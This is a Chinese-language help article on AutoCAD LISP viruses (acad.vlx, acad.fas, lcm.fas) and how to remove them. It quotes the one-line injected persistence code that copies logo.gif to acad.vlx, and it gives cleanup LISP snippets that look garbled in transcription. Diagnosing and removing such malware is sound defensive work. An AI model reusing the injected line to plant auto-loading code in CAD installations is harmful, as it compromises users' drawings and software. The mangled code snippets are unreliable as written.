什么是CAD病毒怎么清理CAD病毒

什么是CAD病毒怎么清理CAD病毒

1.当中毒后不能使用图层和标注命令.

2.新建和打开图档会自动生成一个acad.vlx的文件.3当新建一个图档时.可以用标注命令和图层.但是当关闭后在打开图档则不能使用图层和标注命令.处理方法:

1、仔细搜索查看CAD安装目录后我发现，Express目录的acetauto.lsp文件和Support目录的ai_utils.lsp文件都被修改了。同时Help目录内也多出了一个logo.gif文件，仔细查看它的字节大小，确定它就是这个acad.vlx文件的副本。

2、打开acetauto.lsp和ai_utils.lsp文件，跟我备份的原文件对比后发现，它们都被添加了一行代码：

(vl-file-copy(findfile(vl-list——string"(10811110311146103105102)))(vl-list——string"(97999710046118108120)))

这句代码的意思就是搜索CAD支持路径下是否有logo.gif文件，如有，则复制logo.gif文件到CAD支持路径并重命名为acad.vlx。这就是为什么全盘搜索acad.vlx删除后，打开CAD后又会全新生成这个acad.vlx文件的原因了。3、关闭CAD，全盘搜索acad.vlx删除，再将CAD的Help目录内的logo.gif文件删除即可。

6.中毒现象二

如果你打开CAD图纸，发现图纸上只有一句英文：MUSTre_cover!，以前画的图全没有了！这时，你不要惊慌。关闭CAD后，全盘搜索acad.vlx，将其中的一个acad.vlx文件改名为a.vlx留用，然后把搜索到的acad.vlx全部删除。重新启动CAD，打开那个被破坏的图形文件，在“工具”菜单下“加载应用程序”，选择加载备份的a.vlx文件，在命令行输入re_cover就可以恢复被打乱隐藏的图纸了。所有被破坏的文件修复后，关闭CAD，再全盘搜索acad.vlx一次，将搜索到的acad.vlx全部删除。

7.中毒现象三

出现提示对话框，党不会亏待你、好好干等等，专业软件无法正常运行，一些命令，如移动、平移操作不正常等等。

只所以将这些现象都放到一起，是因为网上也没有同意的说法，因此将这些病毒归类在一起。网上提供的方法有两种：

一、在CAD内部用语句自动搜索文件后删除，

(while(or(setqa(findfile"acad.fas"))(setqa(findfile"lcm.fas")))(vl-file-deletea))

这句话的意思就是在CAD的支持路径下搜索acad.fas和lcm.fas这两个文件并删除，显然这种方法只能解决针对某一种病毒的问题。

二、直接在WINDOWS资源管理器中搜索并删除相关文件。

既然要搜索和删除，就删除得彻底一些，建议将acad*.lsp、acad*.fas、acad*.vlx、acad*.mnl这些CAD可能自动加载的文件都搜出来后，全部删除掉。其实如果对LISP程序有一定了解，到可以研究一下CAD目录下那些上述扩展名的文件有变化，而且同一个文件名文件出现在图纸目录下或ACAD目录下，这样的文件就很有可能是病毒。

在删除这些文件后我们可以启动一下CAD，看看症状是否消除。比如有些CAD病毒会修改CAD的一些变量，比如导致出现鼠标中间无法平移、填充无法显示等，很多人在网上搜索类似问题的答案，修改变量后仍不起作用就是病毒在起作用，在将病毒相关文件删除后可以再次尝试修改这些变量，看看这些变量设置是否有效，网上提供了设置相关变量的语句，可以直接将这些语句复制到命令行来设置变量，语句如下：

(setvar"zoomfactor"40)(setvar"mbuttonpan"1)(setvar"HIGHLIGHT"1)(setvar"fillmode"1)

zoomfactor是缩放因子，可以控制鼠标滚轮缩放时每次滚动缩放的比例

mbuttonpan是设置鼠标中间是否可以平移

HIGHLIGHT是设置图形选中后是否高亮显示

fillmode是设置填充是否显示的变量

我们也可以直接在命令上输入上述变量，回车后，输入后面的值，当然如果我们CAD中毒后没有出现上述症状，就不用再设置这些变量了。

如果删除了上述文件后相关症状还没有消除的话，我们可以检查一下CAD安装和APPDATA目录中LISP程序有什么变化，比如修改日期跟同目录的其他文件不一样，可以检查一下是否有CAD病毒相关代码。

确认哪个程序可能包含可疑代码并不太容易，可以再将CAD安装和搜索路径中所有*.lsp、*.fas、*.vlx、*.mnl都搜索出来删除，启动CAD再检查。

还有更彻底的方法就是将CAD卸载并将CAD安装和APPDATA中CAD相关的目录删除空，将所有有可能是CAD病毒的文件或包含加载病毒代码的文件都删除了；然后再重新安装CAD，这也是最后一招了。

如果我们删除了acad开头的LSP相关文件后CAD软件基本运行正常了，但这些文件删除可能会影响CAD上的一些二次开发软件的启动和运行，如果出现这种问题，需要重新安装或修复专业软件。

8.CAD病毒可以叫做AUTOCAD病毒，因为这些病毒都是针对AUTOCAD的自动加载机制开发的恶意小程序，因为其他CAD软件自动加载的文件名不同，例如浩辰CAD的相关文件是gcad开头的，所以这些病毒不会影响浩辰CAD等这些软件。

虽然网上有很多人遇到过CAD病毒，但没有遇到CAD病毒的人还是多数，假如你现在还没有中过CAD病毒，只需要在复制图纸时注意目录下非DWG文件是否有类似CAD病毒的文件，只要做好预防，你就不会受到CAD病毒的困扰。